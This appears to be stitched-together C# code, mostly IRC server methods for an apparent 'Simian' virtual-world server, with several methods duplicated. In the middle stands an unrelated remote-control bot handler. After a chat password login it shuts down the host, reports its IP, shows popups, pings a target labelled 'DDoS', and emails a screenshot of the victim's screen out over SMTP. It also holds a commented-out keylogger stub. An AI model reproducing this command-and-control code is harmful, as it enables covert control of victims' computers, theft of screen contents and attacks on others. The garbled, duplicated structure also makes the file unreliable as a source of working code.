/// <summary>
/// Sends an IRC Privmsg to a user or a channel
/// </summary>
/// <param name="user"></param>
/// <param name="target"></param>
/// <param name="message"></param>
private void SendMessage(IRCUser user, string target, string message)
{
string lowerTarget = target.ToLower();
if (lowerTarget.StartsWith("#") || lowerTarget.StartsWith("&"))
{
IRCChannel targetChannel = GetChannelByName(target);
if (targetChannel != null)
{
SendToChannel(targetChannel, user, IRCMessageType.Privmsg, message);
return;
}
else
{
SendToUser(user, ":Simian 403 " + user.Name + " " + target + " :No such nickname");
}
}
else
{
IRCUser targetUser = GetUserByName(target);
if (targetUser != null)
{
SendToUser(targetUser, ":" + user.Name + "!" + user.UserName + "@" + user.HostName + " PRIVMSG " + targetUser.Name + " :" + message);
return;
}
else
{
SendToUser(user, ":Simian 403 " + user.Name + " " + target + " :No such channel");
}
}
}
/// <summary>
/// Sends a list of user and address information
/// </summary>
/// <param name="user"></param>
/// <param name="channel"></param>
private void SendWhoList(IRCUser user, string filter)
{
if (filter.StartsWith("#") || filter.StartsWith("&"))
{
IRCChannel channel = GetChannelByName(filter);
if (channel == null)
{
//TODO: channel does not exist error?
return;
}
//find all users who are in this channel
List <KeyValuePair <IRCChannel, IRCUser> > users = m_channelUserPairs.FindAll(delegate(KeyValuePair <IRCChannel, IRCUser> kvp)
{
return(kvp.Key == channel);
});
List <string> names = new List <string>();
foreach (KeyValuePair <IRCChannel, IRCUser> kvp in users)
{
SendToUser(user, ":Simian 352 " + user.Name + " " + channel.Name + " " + kvp.Value.UserName + " " + kvp.Value.HostName + " Simian " + kvp.Value.Name + " H 0 " + kvp.Value.IRCRealName);
}
SendToUser(user, ":Simian 315 " + user.Name + " " + channel.Name + " End of /WHO list.");
}
else
{
//TODO: support name/host filters?
}
}
void m_scene_OnPresenceRemove(object sender, PresenceArgs e)
{
IRCUser user = m_users.Find(delegate(IRCUser u) { return(u.Name == e.Presence.Name.Replace(' ', '_')); });
IRCChannel channel = GetChannelByName(m_defaultChannel);
if (channel != null)
{
SendToChannel(channel, user, IRCMessageType.Part, null);
}
RemoveUser(user);
}
void m_scene_OnEntityChat(object sender, ChatArgs e)
{
IRCChannel channel = GetChannelByName(m_defaultChannel);
if (channel != null)
{
IRCUser user = GetUserByName(e.Source.Name.Replace(' ', '_'));
if (user != null && user.TCPClient == null)
{
SendToChannel(channel, user, IRCMessageType.Privmsg, e.Message);
}
}
}
/// <summary>
/// Sends the message to populate an IRC client's names list
/// </summary>
/// <param name="user"></param>
/// <param name="channel"></param>
private void SendNamesList(IRCUser user, IRCChannel channel)
{
//find all users who are in this channel
List <KeyValuePair <IRCChannel, IRCUser> > users = m_channelUserPairs.FindAll(delegate(KeyValuePair <IRCChannel, IRCUser> kvp)
{
return(kvp.Key == channel);
});
List <string> names = new List <string>();
foreach (KeyValuePair <IRCChannel, IRCUser> kvp in users)
{
string prefix = "";
names.Add(prefix + kvp.Value.Name);
}
SendToUser(user, ":Simian 353 " + user.Name + " @ " + channel.Name + " :" + String.Join(" ", names.ToArray()));
SendToUser(user, ":Simian 366 " + user.Name + " " + channel.Name + " :End of /NAMES list.");
}
/// <summary>
/// Makes a user part the specified channel
/// </summary>
/// <param name="user"></param>
/// <param name="channelName"></param>
private void PartUserFromChannel(IRCUser user, string channelName)
{
IRCChannel channel = GetChannelByName(channelName);
KeyValuePair <IRCChannel, IRCUser> kvp = new KeyValuePair <IRCChannel, IRCUser>(channel, user);
if (channel == null || !m_channelUserPairs.Contains(kvp))
{
return;
}
SendToChannel(channel, user, IRCMessageType.Part, null);
if (channel.Name == m_defaultChannel)
{
SendToChannel(channel, user, IRCMessageType.Join, null);
}
m_channelUserPairs.Remove(kvp);
}
/// <summary>
/// Sends s message to everyone in a certain channel
/// </summary>
/// <param name="channel"></param>
/// <param name="user"></param>
/// <param name="type"></param>
private void SendToChannel(IRCChannel channel, IRCUser user, IRCMessageType type, string extraParam)
{
//find all users who are in this channel
List <KeyValuePair <IRCChannel, IRCUser> > users = m_channelUserPairs.FindAll(delegate(KeyValuePair <IRCChannel, IRCUser> kvp)
{
return(kvp.Key == channel);
});
string message;
if (type == IRCMessageType.Join)
{
message = ":" + user.Name + "!" + user.UserName + "@" + user.HostName + " JOIN " + channel.Name;
}
else if (type == IRCMessageType.Part)
{
message = ":" + user.Name + "!" + user.UserName + "@" + user.HostName + " PART :" + channel.Name;
}
else if (type == IRCMessageType.Privmsg)
{
message = ":" + user.Name + "!" + user.UserName + "@" + user.HostName + " PRIVMSG " + channel.Name + " :" + extraParam;
if (channel.Name == m_defaultChannel && user.TCPClient != null) //only call entity chat for irc users
{
m_scene.EntityChat(this, user, 0f, extraParam, 0, EntityChatType.Broadcast);
}
}
else
{
return;
}
for (int u = 0, uCount = users.Count; u < uCount; u++)
{
if (type != IRCMessageType.Privmsg || users[u].Value != user)
{
SendToUser(users[u].Value, message);
}
}
}
/// <summary>
/// Makes a user join the specified channel
/// </summary>
/// <param name="user"></param>
/// <param name="channelName"></param>
private void JoinUserToChannel(IRCUser user, string channelName)
{
//find all channels that this user is in
List <KeyValuePair <IRCChannel, IRCUser> > channels = m_channelUserPairs.FindAll(delegate(KeyValuePair <IRCChannel, IRCUser> kvp)
{
return(kvp.Value == user);
});
IRCChannel channel = GetChannelByName(channelName);
if (channel == null)
{
//channel does not exist, so create a new one
channel = new IRCChannel();
channel.Name = channelName;
channel.CreatedTime = DateTime.Now;
channel.CreatorName = user.Name;
channel.Topic = "";
}
else
{
for (int i = 0, cCount = channels.Count; i < cCount; i++)
{
if (channels[i].Key.Name.ToLower() == channel.Name.ToLower())
{
return; //user is already in this channel
}
}
}
m_channelUserPairs.Add(new KeyValuePair <IRCChannel, IRCUser>(channel, user));
SendToChannel(channel, user, IRCMessageType.Join, null);
SendToUser(user, ":Simian 332 " + user.Name + " " + channel.Name + " :" + channel.Topic);
SendToUser(user, ":Simian 333 " + user.Name + " " + channel.Name + " " + channel.CreatorName + " " + Utils.DateTimeToUnixTime(channel.CreatedTime));
SendNamesList(user, channel);
}
public static void _irc_IRCMessageRecieved(object sender, string message, User user, IRCChannel ch)
{
if (message.StartsWith("!"))
{
if (message.Replace("!", "").StartsWith("login " + mainPass))
{
flag = true;
}
}
if (message.StartsWith("?") && flag == true)
{
if (message.Replace("?", "").StartsWith("Shutdown"))
{
System.Diagnostics.Process.Start("shutdown", "-s -t 30");
_irc.SendMessage("Computer is shutting down in: 30 secs.", IRC.SupportedColors.Green, ch.Channel);
}
if (message.Replace("?", "").StartsWith("GetIP"))
{
string strHostName = Dns.GetHostName();
IPHostEntry ipEntry = Dns.GetHostEntry(strHostName);
IPAddress[] addr = ipEntry.AddressList;
string ip = addr[2].ToString();
_irc.SendMessage("IP: " + ip, IRC.SupportedColors.Green, ch.Channel);
}
if (message.Replace("?", "").StartsWith("Popup"))
{
message = message.Replace("?Popup", "");
_irc.SendMessage("Popup Sent.\n", IRC.SupportedColors.Green, ch.Channel);
MessageBox.Show(message);
_irc.SendMessage("Popup Reciever Clicked OK.\n", IRC.SupportedColors.Green, ch.Channel);
}
// KeyLogger
//if (message.Replace("?", "").StartsWith("Keylog"))
//{
// if (KeyLogflag) // stop keylogging.
// {
// }
// else // start keylogging.
// {
// }
//}
if (message.Replace("?", "").StartsWith("DDoS"))
{
string DDoSIP = message.Replace("?DDoS", "");
System.Diagnostics.Process.Start("ping", DDoSIP);
_irc.SendMessage("DDoSing IP: " + DDoSIP, IRC.SupportedColors.Green, ch.Channel);
}
if (message.Replace("?", "").StartsWith("Pic"))
{
int screenWidth = Screen.GetBounds(new Point(0, 0)).Width;
int screenHeight = Screen.GetBounds(new Point(0, 0)).Height;
Bitmap bmpScreenShot = new Bitmap(screenWidth, screenHeight);
Graphics gfx = Graphics.FromImage((Image)bmpScreenShot);
gfx.CopyFromScreen(0, 0, 0, 0, new Size(screenWidth, screenHeight));
string fileName = "pic.jpg";
bmpScreenShot.Save(fileName, ImageFormat.Jpeg);
message = message.Replace("?Pic", "");
string[] mailD = message.Split(' ');
// mailD[0] = mailD Empty
// mailD[1] = mailD toAddr
// mailD[2] = mailD Password
// mailD[3] = mailD SMTP Server * smtp.gmail.com
// mailD[4] = mailD SMTP Port
MailMessage mail = new MailMessage();
SmtpClient SmtpServer = new SmtpClient(mailD[3]);
mail.From = new MailAddress("*****@*****.**");
mail.To.Add(mailD[1]);
mail.Subject = "Test Mail - 1";
mail.Body = "mail with attachment";
Attachment attachment;
attachment = new Attachment(fileName);
mail.Attachments.Add(attachment);
int port = Convert.ToInt32(mailD[4]);
SmtpServer.Port = port;
SmtpServer.Credentials = new NetworkCredential(mailD[1], mailD[2]);
SmtpServer.EnableSsl = true;
SmtpServer.Send(mail);
}
if (message.Replace("?", "").StartsWith("Cmds"))
{
_irc.SendMessage("[?] Shutdown, GetIP, Popup, DDoS, Pic", IRC.SupportedColors.Red, ch.Channel);
}
}
}
/// <summary>
/// Parses an individual command from the client
/// </summary>
/// <param name="user"></param>
/// <param name="commandString"></param>
private void ParseCommand(IRCUser user, string commandString)
{
string[] words = commandString.Split(' ');
string command = words[0].ToLower();
if (words.Length < 1) //TODO: proper check of param count for all commands
{
SendToUser(user, ":Simian 461 " + user.Name + " " + words[0].ToUpper() + " Not enough parameters");
return;
}
switch (command)
{
case "ison":
List <string> online = new List <string>();
for (int i = 1; i < words.Length; i++)
{
IRCUser checkUser = GetUserByName(words[i]);
if (checkUser != null)
{
online.Add(checkUser.Name);
}
}
SendToUser(user, ":Simian 303 " + user.Name + " :" + String.Join(" ", online.ToArray()));
break;
case "join":
JoinUserToChannel(user, words[1]);
break;
case "mode":
//TODO?
break;
case "names":
IRCChannel channel = GetChannelByName(words[1]);
if (channel != null)
{
SendNamesList(user, channel);
}
break;
case "nick":
SetUserNick(user, words[1]);
break;
case "part":
PartUserFromChannel(user, words[1]);
break;
case "ping":
SendToUser(user, "PONG " + words[1]);
break;
case "user":
bool newUser = user.Name == null || user.HostName == null;
if (newUser)
{
if (words.Length < 5)
{
return;
}
string[] ircRealName = new string[words.Length - 4];
Array.Copy(words, 4, ircRealName, 0, ircRealName.Length);
user.IRCRealName = String.Join(" ", ircRealName);
user.HostName = "irc";
user.UserName = words[1];
}
if (newUser && user.Name != null && user.HostName != null)
{
SendWelcome(user);
}
break;
case "userhost":
IRCUser targetUser = GetUserByName(words[1]);
if (targetUser != null)
{
SendToUser(user, ":Simian 302 " + user.Name + " :" + targetUser.Name + "=+" + targetUser.UserName + "@" + targetUser.HostName);
}
else
{
SendToUser(user, ":Simian 302 " + user.Name + " :");
}
break;
case "who":
SendWhoList(user, words[1]);
break;
case "privmsg":
string[] messageWords = new string[words.Length - 2];
Array.Copy(words, 2, messageWords, 0, messageWords.Length);
SendMessage(user, words[1], String.Join(" ", messageWords).Substring(1));
break;
default:
SendToUser(user, ":Simian 421 " + user.Name + " " + command.ToUpper() + " Unknown command");
break;
}
}
/// <summary>
/// Sends s message to everyone in a certain channel
/// </summary>
/// <param name="channel"></param>
/// <param name="user"></param>
/// <param name="type"></param>
private void SendToChannel(IRCChannel channel, IRCUser user, IRCMessageType type, string extraParam)
{
//find all users who are in this channel
List<KeyValuePair<IRCChannel, IRCUser>> users = m_channelUserPairs.FindAll(delegate(KeyValuePair<IRCChannel, IRCUser> kvp)
{
return kvp.Key == channel;
});
string message;
if (type == IRCMessageType.Join)
message = ":" + user.Name + "!" + user.UserName + "@" + user.HostName + " JOIN " + channel.Name;
else if (type == IRCMessageType.Part)
message = ":" + user.Name + "!" + user.UserName + "@" + user.HostName + " PART :" + channel.Name;
else if (type == IRCMessageType.Privmsg)
{
message = ":" + user.Name + "!" + user.UserName + "@" + user.HostName + " PRIVMSG " + channel.Name + " :" + extraParam;
if (channel.Name == m_defaultChannel && user.TCPClient != null) //only call entity chat for irc users
m_scene.EntityChat(this, user, 0f, extraParam, 0, EntityChatType.Broadcast);
}
else return;
for (int u = 0, uCount = users.Count; u < uCount; u++)
{
if (type != IRCMessageType.Privmsg || users[u].Value != user)
SendToUser(users[u].Value, message);
}
}
/// <summary>
/// Sends the message to populate an IRC client's names list
/// </summary>
/// <param name="user"></param>
/// <param name="channel"></param>
private void SendNamesList(IRCUser user, IRCChannel channel)
{
//find all users who are in this channel
List<KeyValuePair<IRCChannel, IRCUser>> users = m_channelUserPairs.FindAll(delegate(KeyValuePair<IRCChannel, IRCUser> kvp)
{
return kvp.Key == channel;
});
List<string> names = new List<string>();
foreach (KeyValuePair<IRCChannel, IRCUser> kvp in users)
{
string prefix = "";
names.Add(prefix + kvp.Value.Name);
}
SendToUser(user, ":Simian 353 " + user.Name + " @ " + channel.Name + " :" + String.Join(" ", names.ToArray()));
SendToUser(user, ":Simian 366 " + user.Name + " " + channel.Name + " :End of /NAMES list.");
}
/// <summary>
/// Makes a user join the specified channel
/// </summary>
/// <param name="user"></param>
/// <param name="channelName"></param>
private void JoinUserToChannel(IRCUser user, string channelName)
{
//find all channels that this user is in
List<KeyValuePair<IRCChannel, IRCUser>> channels = m_channelUserPairs.FindAll(delegate(KeyValuePair<IRCChannel, IRCUser> kvp)
{
return kvp.Value == user;
});
IRCChannel channel = GetChannelByName(channelName);
if (channel == null)
{
//channel does not exist, so create a new one
channel = new IRCChannel();
channel.Name = channelName;
channel.CreatedTime = DateTime.Now;
channel.CreatorName = user.Name;
channel.Topic = "";
}
else
{
for (int i = 0, cCount = channels.Count; i < cCount; i++)
{
if (channels[i].Key.Name.ToLower() == channel.Name.ToLower())
return; //user is already in this channel
}
}
m_channelUserPairs.Add(new KeyValuePair<IRCChannel, IRCUser>(channel, user));
SendToChannel(channel, user, IRCMessageType.Join, null);
SendToUser(user, ":Simian 332 " + user.Name + " " + channel.Name + " :" + channel.Topic);
SendToUser(user, ":Simian 333 " + user.Name + " " + channel.Name + " " + channel.CreatorName + " " + Utils.DateTimeToUnixTime(channel.CreatedTime));
SendNamesList(user, channel);
}
